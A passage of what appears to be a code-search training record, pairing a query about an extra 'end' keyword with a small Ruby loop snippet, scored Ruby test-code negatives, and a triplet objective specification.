"def ci_51_char_first_name\r\n# This is a negative test for the CI Demo form\r\n $test_count = $test_count + 1\r\n $test_count1 = $test_count \r\n $results.puts \"\"\r\n $results.puts \"Starting CI 51 char invalid format Test.\"\r\n setup_negative_test\r\n site_connect_ci\r\n accept_cookie_policy\r\n get_server_name\r\n ci_validate_title_demo_signup\r\n $results.puts \"51 char invalid format test, brand = \"+$brand\r\n ci_populate_form_first_name_51_char\r\n ci_populate_form_last_name\r\n ci_populate_form_email\r\n ci_populate_form_phone_number\r\n ci_negative_demo_form_submit\r\n ci_negative_validate_confirm_page\r\n $results.puts \"***** CI 51 char Last Name Test Completed, Status:\" \r\n $results.puts \"Total Test Executed Pass / Fail (Running Total for Test Audit Trail.)\"\r\n $results.puts \"Test Count = \" + $test_count1.to_s\r\n $results.puts \"Test Pass Count = \" + $test_pass_count.to_s\r\n $results.puts \"Test Failed Count = \" + $test_failed_count.to_s\r\n $summary_results.puts \"***** CI 51 char Last Name Test Completed, Status:\"\r\n $summary_results.puts \"Total Test Executed Pass / Fail (Running Total for Test Audit Trail.)\"\r\n $summary_results.puts \"Test Count = \" + $test_count1.to_s\r\n $summary_results.puts \"Test Pass Count = \" + $test_pass_count.to_s\r\n $summary_results.puts \"Test Failed Count = \" + $test_failed_count.to_s\r\n $results.puts \"***************************************************************************\"\r\n $results.puts \"End CI Negative Form Test 51 char Last Name, Country = \" + $country \r\n $results.puts \"***************************************************************************\"\r\n $summary_results.puts \"*******************************************************************\"\r\n $summary_results.puts \"******* End CI 51 char Last Name Test. ***************************\"\r\n $summary_results.puts \"*******************************************************************\" \r\nend",
"def test_start_stop\n start_time_for={}\n stop_time=nil\n at=Activity_tracker.new do |id|\n assert((Time.now-start_time_for[id]-at.timeout).to_f.abs<at.tick_time)\n end\n if at.tresholds<3\n puts \"Warning: this test supposed to run successfully\"+\n \"only wich tresholds>3\"\n end\n 4.times do\n start_time_for[1]=Time.now \n at.active 1\n sleep at.timeout.to_f/2\n start_time_for[2]=Time.now \n at.active 2\n sleep at.timeout.to_f/2\n start_time_for[2]=Time.now \n at.active 2\n end\n end",
"def test_example_1\n result = @project_calc.calculate_project_cost(base_price: 1299.99, num_workers: 3, product_categories: ['food'])\n assert_equal 1591.58, result\n end",
"def test\n false_good, true_bad = get_counts(@testing_bad)\n true_good, false_bad = get_counts(@testing_good)\n\n correct = true_good.length + true_bad.length\n total = correct + false_bad.length + false_good.length\n ratio = format_ratio(1.0 * correct / total)\n\n bad_total = false_good.length + true_bad.length\n bad_ratio = format_ratio(1.0 * true_bad.length / bad_total)\n\n good_total = true_good.length + false_bad.length\n good_ratio = format_ratio(1.0 * true_good.length / good_total)\n\n puts \"Accuracy: #{ratio} (#{correct} of #{total})\"\n\n puts \"Bad commit accuracy: #{bad_ratio} (#{true_bad.length} of #{bad_total})\"\n print_failures(true_bad)\n\n puts \"Good commit accuracy: #{good_ratio} (#{true_good.length} of #{good_total})\"\n print_failures(true_good)\n end",
"def unitTests\n\t\ttotalTests = 12\n\t\ttotalFailed = 0\n\t\toutput = \"\"\n\t\t@debug = true\n\n\t\t#CLEAR DB BEFORE RUNNING TEST. DEFINITELY CRUDE BUT THE ONLY THING I COULD GET WORKING\n\t\tself.TESTAPI_resetFixture\n\n\t\t#Test1: \"Does not allow a non-registered user login\"\n\t\tresponse = self.login(\"NonUser\",\"pass0\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test1\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test2: \"Allows a user that supplies no password get added\"\n\t\tresponse = self.add(\"user2\",\"\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test2\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test3: \"Allows a user with a username and password get added\"\n\t\tresponse = self.add(\"user3\",\"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test3\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test4: \"Doesn't allow an already added user get added again\"\n\t\tresponse = self.add(\"user3\",\"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test4\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test5: \"Doesn't allow a blank username get added\"\n\t\tresponse = self.add(\"\",\"pass5\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -3\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test5\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test6: \"It allows a username and password of 128 characters to get added\"\n\t\tresponse = self.add(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test6\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test7: \"Does not allow a username greater than 128 characters\"\n\t\tresponse = self.add(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"pass7\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -3\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test7\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test8: \"Does not allow a password greater than 128 characters\"\n\t\tresponse = self.add(\"user8\",\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -4\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test8\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test9: \"Allows a registered user with a password to login and counts number of logins\"\n\t\tresponse = self.login(\"user3\", \"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test9\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test10: \"Allows a registered user without a password to login and counts number of logins\"\n\t\tresponse = self.login(\"user2\", \"\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test10\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test11: \"Doesn't allow a user with wrong password to login\"\n\t\tresponse = self.login(\"user3\", \"pass2\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test11\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test12: \"Sucessfully Deletes the DB with call to TESTAPI_reset_fixture\"\n\t\tresponse = self.TESTAPI_resetFixture\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test12\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t@debug = false\n\t\trender json: {:totalTests => totalTests, :nrFailed => totalFailed, :output => output}\n\t\t\n\tend",
"def exec\n question = Question.find(self.question_id)\n tmp = Time.now.to_i\n\n\t\t# Compila a resposta\n compile_result = Judge::compile(self.lang,self.response,tmp)\n\n\t\t# Verifica se houve erro de compilacao\n if compile_result[0] != 0\n self.compile_errors = compile_result[1]\n self.correct = false\n else\n\n\t\t\t# Se compilou, executa os casos de teste.\n correct = Judge::test(lang,compile_result[1],question.test_cases,tmp)\n\n self.results = Hash.new\n self.correct = true\n\t\t\t# para cada caso de teste salva os dados retornados\n\t\t\t# os dados retornados estarao na variavel 'r'\n\t\t\t# cada caso de teste tem seus dados armazenados no hash 'results'\n correct.each do |id,r|\n\n self.results[id] = Hash.new\n self.results[id][:error] = false\n self.results[id][:diff_error] = false\n self.results[id][:time_error] = false\n self.results[id][:exec_error] = false\n self.results[id][:presentation_error] = false\n self.results[id][:content] = question.test_cases.find(id).content\n\n self.results[id][:title] = question.test_cases.find(id).title\n self.results[id][:show_input_output] = question.test_cases.find(id).show_input_output\n\n if question.test_cases.find(id).show_input_output\n self.results[id][:input] = r[1][0]\n self.results[id][:output_expected] = r[1][1]\n end\n\n self.results[id][:output] = r[1][2]\n self.results[id][:id] = id\n\n\t\t\t\t# cada erro possui um numero de identificacao\n if r[0] == 3\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:diff_error] = true\n elsif r[0] == 2\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:presentation_error] = true\n elsif r[0] == 143 || r[0] == 141\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:time_error] = true\n elsif r[0] != 0\n self.correct = false\n self.results[id][:error] = true\n self.results[id][:exec_error] = true\n end\n\n\t\t\t\t# se o numero de tentativas for suficiente para mostrar dicas, salva a dica na resposta do caso de teste.\n if Answer.where(user_id: self.user_id, question_id: self.question_id, correct: false, compile_errors: nil).count >= question.test_cases.find(id).tip_limit-1 || self.correct\n self.results[id][:tip] = question.test_cases.find(id).tip\n end\n\n #self.results[id][:output2] = simple_format r[1][0]\n end\n end\n true\n end",
"def test_cantidad_cuotas\n print validate(36, cantidad_cuotas(16,1900.0))\n print validate(24, cantidad_cuotas(29,2100.0)) \n print validate(12, cantidad_cuotas(19,700.0)) \n print validate(6, cantidad_cuotas(20,1000.0))\n print validate(3, cantidad_cuotas(15,3200.0)) \nend",
"def test test_cases, f\n test_cases.each do |s, l, e|\n a = send(f, s, l)\n print \"#{f} #{s}, #{l} = #{a} ... \"\n if a == e\n puts 'PASS'\n else\n puts 'FAIL'\n end\n end\nend",
"def testHelper arr, description, expected\n\tresult = leastOccuringValueInArray(arr)\n\tString resultType = result.class\n\t \n\tString testStatus = \"Failed\"\n\tif (leastOccuringValueInArray(arr).class == expected.class)\n\t\t(leastOccuringValueInArray(arr) == expected)? testStatus = \"Passed\" : testStatus = \"Failed\"\n\tend\n\t\n\t# Print test results\n\tputs \"| \" + testStatus + \" | \" + description + \", expected: \" + expected.to_s + \"(\" + expected.class.to_s + \")\" + \", actual: \" + result.to_s + \"(\" + resultType.to_s + \")\"\nend",
"def get_test_cases()\n test_cases = []\n test_cases.push(\"\"\"\n X|X|O|O|X|X|*\n O|O|X|O|X|O|X\n X|O|O|X|O|X|O\n O|O|X|X|X|O|X\n X|X|O|O|X|O|O\n O|O|X|X|O|X|X\n \"\"\")\n test_cases.push(\"\"\"\n X|X|O|O|X|X|*\n O|O|X|O|X|O|X\n X|O|O|X|O|X|O\n O|O|X|X|X|O|X\n X|X|O|O|X|O|O\n O|O|X|X|O|X|X\n \"\"\")\n test_cases.push(\"\"\"\n X|X|X|O|X|O|*\n X|O|O|O|X|O|X\n X|O|O|X|O|X|O\n O|O|X|X|X|O|X\n X|X|O|O|X|O|X\n O|O|X|X|O|X|X\n \"\"\"\n )\n test_cases.push(\"\"\"\n *|*|*|*|*|*|*\n *|*|*|*|*|*|*\n *|*|X|*|*|*|*\n *|O|X|*|*|*|X\n O|O|O|O|*|*|X\n O|O|X|X|X|O|X\n \"\"\")\n test_cases.push(\"\"\"\n *|*|*|*|*|*|*\n O|X|*|*|*|*|*\n X|X|*|O|*|*|O\n O|X|*|O|*|*|X\n X|O|X|X|*|O|O\n X|O|O|X|*|O|X\n \"\"\")\n test_cases.push(\"\"\"\n *|*|*|*|*|*|*\n *|*|*|*|*|*|*\n *|*|*|*|*|*|*\n X|*|*|*|*|*|*\n X|*|*|*|*|*|*\n X|*|O|O|O|O|*\n \"\"\")\n\n return test_cases\n\n end",
"def check_solution(test_number, string, expected)\n actual = compress_string(string)\n if actual != expected\n puts \"Test ##{test_number}: Incorrect value: got #{actual}, expected #{expected}\"\n return false\n end\n\n puts \"Test ##{test_number}: Correct\"\n return true\nend",
"def check_solution(test_number, string, expected)\n actual = compress_string(string)\n if actual != expected\n puts \"Test ##{test_number}: Incorrect value: got #{actual}, expected #{expected}\"\n return false\n end\n\n puts \"Test ##{test_number}: Correct\"\n return true\nend",
"def test_scenario4\n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal width\" => 4}, 'Iris-setosa', {\"kind\" => \"probability\", \"threshold\" => 0.1, \"positive_class\" => \"Iris-setosa\"}, \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"petal width\" => 4}, 'Iris-virginica', {\"kind\" => \"probability\", \"threshold\" => 0.9, \"positive_class\" => \"Iris-setosa\"}, \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"sepal length\" => 4.1, \"sepal width\"=> 2.4}, 'Iris-setosa', {\"kind\" => \"confidence\", \"threshold\" => 0.1, \"positive_class\" => \"Iris-setosa\"}, \"000004\"],\n [File.dirname(__FILE__)+'/data/iris.csv', {\"sepal length\" => 4.1, \"sepal width\"=> 2.4}, 'Iris-versicolor', {\"kind\" => \"confidence\", \"threshold\" => 0.9, \"positive_class\" => \"Iris-setosa\"}, \"000004\"]\n ]\n puts\n puts \"Successfully comparing predictions in operating points for ensembles\"\n\n data.each do |filename, data_input, prediction_result, operating_point, objective|\n puts\n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create an ensemble\"\n ensemble = @api.create_ensemble(dataset, {\"number_of_models\"=> 2, \"seed\" => 'BigML', 'ensemble_sample'=>{'rate' => 0.7, 'seed' => 'BigML'}, 'missing_splits' => false})\n \n puts \"And I wait until the ensemble is ready\"\n assert_equal(BigML::HTTP_CREATED, ensemble[\"code\"])\n assert_equal(1, ensemble[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(ensemble), true)\n \n puts \"And I create a local ensemble\"\n local_ensemble = BigML::Ensemble.new(ensemble, @api)\n local_model = BigML::Model.new(local_ensemble.model_ids[0], @api)\n \n puts \" When I create a prediction for <%s>\" % [JSON.generate(data_input)]\n prediction = @api.create_prediction(ensemble['resource'], data_input, {\"operating_point\" => operating_point})\n \n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n assert_equal(@api.ok(prediction), true)\n \n \n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n \n if !prediction['object']['prediction'][objective].is_a?(String)\n assert_equal(prediction['object']['prediction'][objective].to_f.round(5), prediction_result.to_f.round(5))\n else\n assert_equal(prediction['object']['prediction'][objective], prediction_result)\n end \n \n puts \"And I create a local prediction for <%s>\" % JSON.generate(data_input)\n local_prediction = local_ensemble.predict(data_input, {\"operating_point\" => operating_point})\n \n puts \"Then the local prediction is <%s>\" % prediction_result\n \n if local_prediction.is_a?(Array)\n local_prediction = local_prediction[0]\n elsif local_prediction.is_a?(Hash)\n local_prediction = local_prediction['prediction']\n else\n local_prediction = local_prediction\n end \n \n if (local_ensemble.regression) or \n (local_ensemble.is_a?(BigML::MultiModel) and local_ensemble.models[0].regression)\n assert_equal(local_prediction.to_f.round(4), prediction_result.to_f.round(4))\n else\n assert_equal(local_prediction, prediction_result)\n end \n \n end\n end",
"def run_tests()\n check_solution(1, 'Pete,201,Student', ['Pete', '201', 'Student'])\n check_solution(2, \"Pete \\t 201 , TA\", ['Pete', '201', 'TA'])\n check_solution(3, \"Pete \\t 201\", ['Pete', '201'])\nend",
"def test1_number number\n if number < 0\n puts \"Your number is negative...\"\n elsif number <= 50\n puts \"#{number} is between 0 and 50\"\n elsif number <= 100\n puts \"#{number} is between 51 and 100\"\n else\n puts \"#{number} is greater than 100\"\n end\nend",
"def test_scenario3\n data = [{'filename' => File.dirname(__FILE__)+'/data/iris.csv',\n 'measure' => 'average_phi',\n 'value' => 0.89054}]\n\n puts \n puts \"Scenario3: Successfully creating an evaluation for a logistic regression:\"\n\n data.each do |item|\n puts\n puts \"Given I create a data source uploading a \" + item[\"filename\"] + \" file\"\n \n source = @api.create_source(item[\"filename\"], {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create dataset with local source\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"And I create model\"\n logisticregression=@api.create_logisticregression(dataset)\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, logisticregression[\"code\"])\n assert_equal(1, logisticregression[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(logisticregression), true)\n \n puts \"When I create an evaluation for the ensemble with the dataset\"\n evaluation = @api.create_evaluation(logisticregression, dataset)\n\n puts \"And I wait until the evaluation is ready\"\n assert_equal(BigML::HTTP_CREATED, evaluation[\"code\"])\n assert_equal(@api.ok(evaluation), true)\n \n puts \"Then the measured #{item['measure']} is #{item['value']}\"\n evaluation = @api.get_evaluation(evaluation)\n assert_equal(item[\"value\"].to_f, evaluation[\"object\"][\"result\"][\"model\"][item[\"measure\"]].to_f)\n \n end\n end",
"def test_scenario6\n data = [{'filename' => File.dirname(__FILE__)+'/data/iris.csv',\n 'local_file' => File.dirname(__FILE__)+'/tmp/batch_predictions.csv', \n 'predictions_file' => File.dirname(__FILE__)+'/data/batch_predictions_lr.csv'}]\n\n puts \n puts \"Scenario: Successfully creating a batch anomaly score from an anomaly detector\"\n\n data.each do |item|\n puts\n puts \"Given I create a data source uploading a #{item['filename']} file\"\n source = @api.create_source(item[\"filename\"], {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n \n puts \"And I create dataset with local source\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n \n puts \"And I create a logistic regression\"\n logistic=@api.create_logisticregression(dataset)\n \n puts \"And I wait until the logistic regression is ready\"\n assert_equal(BigML::HTTP_CREATED, logistic[\"code\"])\n assert_equal(1, logistic[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(logistic), true)\n \n puts \"When I create a batch prediction for the dataset with the logistic regression\"\n batch_prediction=@api.create_batch_prediction(logistic, dataset)\n \n puts \"And I check the batch prediction is ok\"\n assert_equal(BigML::HTTP_CREATED, batch_prediction[\"code\"])\n assert_equal(1, batch_prediction[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(batch_prediction), true)\n \n puts \"And I download the created anomaly score file to #{item['local_file']}\"\n filename = @api.download_batch_prediction(batch_prediction, item[\"local_file\"])\n assert_not_nil(filename)\n \n puts \"Then the batch anomaly score file is like #{item['predictions_file']}\"\n assert_equal(FileUtils.compare_file(item[\"local_file\"], item[\"predictions_file\"]), true)\n \n end\n \n end",
"def exercise1\n parse_data MinMaxValidator\n validators.count(&:valid?)\n end",
"def compare_tests(test_a, test_b)\n return compare_tests_by_name(test_a, test_b) if test_fail_or_error?(test_a) && test_fail_or_error?(test_b)\n\n return -1 if test_fail_or_error?(test_a) && !test_fail_or_error?(test_b)\n return 1 if !test_fail_or_error?(test_a) && test_fail_or_error?(test_b)\n\n return compare_tests_by_name(test_a, test_b) if test_a.skipped? && test_b.skipped?\n return -1 if test_a.skipped? && !test_b.skipped?\n return 1 if !test_a.skipped? && test_b.skipped?\n\n compare_tests_by_name(test_a, test_b)\n end",
"def has_solution(n)\n# Store input in variable N\n$N = n\n\n#Declare and initialize variables to find the maximum number of times 6, 9 and 20 divide into N\n$A_1 = $N/$x\n$A_2 = $N/$y\n$A_3 = $N/$z\n\n#Declare and initialize arrays to store potential combinations, where A is number of 6 packs, B number of 9 packs and C number of 20 packs\n@A = (0..$A_1).to_a\n@B = (0..$A_2).to_a\n@C = (0..$A_3).to_a\n\n#Declare function to calculate different combinations of A, B and C\ndef test(i,j,k)\nreturn @A[i]*$x + @B[j]*$y + @C[k]*$z\nend\n\n#Loop to exhaustively test combinations of A, B and C, with values ranging between 1 and the maximum number of times 6, 9 and 20 divide into N\nfor i in (0..$A_1)\n for j in (0..$A_2)\n for k in (0..$A_3)\n #Use declared function test to check each combination of i,j and k, and if it is equal to N, print out values of i, j and k\n if test(i,j,k) == $N\n return true\n end\n end\n end\nend\n\nend",
"def max(num1, num2, num3)\n if num1 >= num2 and num1 >= num3\n return num1\n elsif num2 >= num1 and num2 >= num3\n return num2\n else\n return num3\n # this is the end keyword for the if statement\n end\n\nend",
"def test_exercise_1120\n verify_method :exercise_1120,\n :with => [{param: 1, expect: Math.log(1).truncate},\n {param: 2, expect: Math.log(2).truncate},\n {param: 4, expect: Math.log(4 * 3 * 2).truncate},\n {param: 3, expect: Math.log(3 * 2).truncate}]\n end",
"def test_multiple_validity\n @eval.load_stacks([5, 6, 7])\n assert_equal nil, @eval.check_final_validity\n end",
"def testcase2(num)\n case num\n when 0..50\n puts \"#{num} is between 0 and 50\"\n when 51..100\n puts \"#{num} is between 51 and 100\"\n else\n if num < 0\n puts \"you can't enter a negative number!\"\n else\n puts \"#{num} is above 100\"\n end\n end\nend",
"def testNominalWithRegressionShort\n setupTest do |iTasksFileName, iTicketsFileName|\n $Context[:OS_ExecAnswers] = [\n # svn co => success\n [ 0, '' ],\n # Run regression => success\n [ 0, '' ],\n # deliver => success, generating files\n [ 0, '', @@Generator_SingleDummyGem ]\n ]\n executeProcess(\n [\n '--user', 'ReleaseUser',\n '--branch', 'BranchName',\n '--comment', 'ReleaseComment',\n '--version', '0.0.1.20100317',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '--svnco', 'MySVNRep',\n '--deliver', 'deliver %{DeliverablesDir}',\n '-r', 'test/runReg'\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn co MySVNRep' ],\n [ 'query', 'test/runReg' ],\n [ 'query', /^deliver .*$/ ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal( @@CommonSlaveActions.merge(\n {\n Tools::FilesManager => {\n Actions::File_Upload => [\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/Releases/All/Gem/DummyGem.gem\"), 'All', 'Gem', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ]\n ]\n }\n } ),\n iSlaveActions\n )\n end\n end\n end",
"def test_exercise_1122\n verify_method :exercise_1122,\n :with => [{\n params: [0, [0, 1, 2, 3, 4, 5]],\n expect: \"lo: 0, hi: 5\\n\\tlo: 0, hi: 1\\n\"\n },\n {\n params: [5, [0, 1, 2, 3, 4, 5]],\n expect: \"lo: 0, hi: 5\\n\\tlo: 3, hi: 5\\n\\t\\tlo: 5, hi: 5\\n\"\n }]\n end",
"def test_true\n\t\tassert_equal(true, winning_numbers(4,[1,2,3,4]))\n\tend",
"def intcode_executor(intcode)\n\n index = 0\n while index < intcode.length\n\n # Get the optcode for this instruction.\n optcode = intcode[index] % 100\n\n # Short-circuit if the program should exit.\n break if optcode == 99\n\n # Get the paramter values (in case they are needed).\n param1_value = getParamValue(intcode[index] / 100 % 10, intcode, index+1)\n param2_value = getParamValue(intcode[index] / 1000 % 10, intcode, index+2)\n\n case optcode\n\n # Add parameter values.\n when 1\n intcode[intcode[index+3]] = param1_value + param2_value\n index += 4\n\n # Multiply parameter values.\n when 2\n intcode[intcode[index+3]] = param1_value * param2_value\n index += 4\n\n # Save the input value to a location.\n when 3\n puts \"Enter 1 to continue, 0 to exit\"\n input = gets.chomp\n intcode[intcode[index+1]] = input.to_i\n index += 2\n\n # Print the parameter value.\n when 4\n puts param1_value\n index += 2\n\n # Jump if true.\n when 5\n if param1_value != 0\n index = param2_value\n else\n index += 3\n end\n\n # Jump if false.\n when 6\n if param1_value == 0\n index = param2_value\n else\n index += 3\n end\n\n # Check if less than.\n when 7\n if param1_value < param2_value\n intcode[intcode[index+3]] = 1\n else\n intcode[intcode[index+3]] = 0\n end\n index += 4\n\n # Check if equals.\n when 8\n if param1_value == param2_value\n intcode[intcode[index+3]] = 1\n else\n intcode[intcode[index+3]] = 0\n end\n index +=4\n else\n raise \"Uh oh...bad optcode\"\n end\n end\nend"
] |
[
"0.6729847",
"0.6594663",
"0.65522534",
"0.6532254",
"0.6532254",
"0.6404845",
"0.6273686",
"0.6273686",
"0.6273686",
"0.60651094",
"0.58850956",
"0.58219326",
"0.58219326",
"0.5820772",
"0.5806792",
"0.5806693",
"0.5766599",
"0.5756864",
"0.5718025",
"0.5716829",
"0.56990564",
"0.56914777",
"0.5650352",
"0.5639649",
"0.5638021",
"0.56359214",
"0.56208223",
"0.5583551",
"0.55817866",
"0.5580596",
"0.55797935",
"0.5579175",
"0.5537483",
"0.5530721",
"0.55290586",
"0.5526813",
"0.55218726",
"0.5514171",
"0.55046135",
"0.5495281",
"0.5491279",
"0.54865015",
"0.54840094",
"0.54840094",
"0.54840094",
"0.5441965",
"0.544147",
"0.544147",
"0.5428843",
"0.540655",
"0.5385281",
"0.5380874",
"0.5376276",
"0.53599143",
"0.53555626",
"0.5353538",
"0.53491986",
"0.5345177",
"0.53437674",
"0.5339967",
"0.5339391",
"0.53373426",
"0.53323907",
"0.5329624",
"0.5329611",
"0.532042",
"0.5320259",
"0.53117794",
"0.5310272",
"0.5307095",
"0.5303882",
"0.5302026",
"0.5298989",
"0.5298749",
"0.52941567",
"0.5289346",
"0.5286427",
"0.5283106",
"0.528212",
"0.52791166",
"0.5270464",
"0.5267858",
"0.52676696",
"0.52634734",
"0.52634734",
"0.5260427",
"0.52590686",
"0.5257004",
"0.5249253",
"0.52471906",
"0.5247122",
"0.52468264",
"0.5244267",
"0.5241546",
"0.52363986",
"0.52344763",
"0.5228254",
"0.522709",
"0.52251995",
"0.52194077",
"0.52178586"
] |
0.0
|
-1
|
one too many 'end'
|
def looper
for i in 1..10
puts i #needs an indent
end
# needs to return the final result of the loop to fulfil the test.
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def end; end",
"def end; end",
"def end; end",
"def end() end",
"def _end!; end",
"def end_point; end",
"def end\n end",
"def end\n end",
"def end\n end",
"def at_end; end",
"def end_pos; end",
"def end_pos; end",
"def exclude_end?() end",
"def end(p0) end",
"def main_end ; end",
"def end\n end",
"def eof() end",
"def eof() end",
"def eof() end",
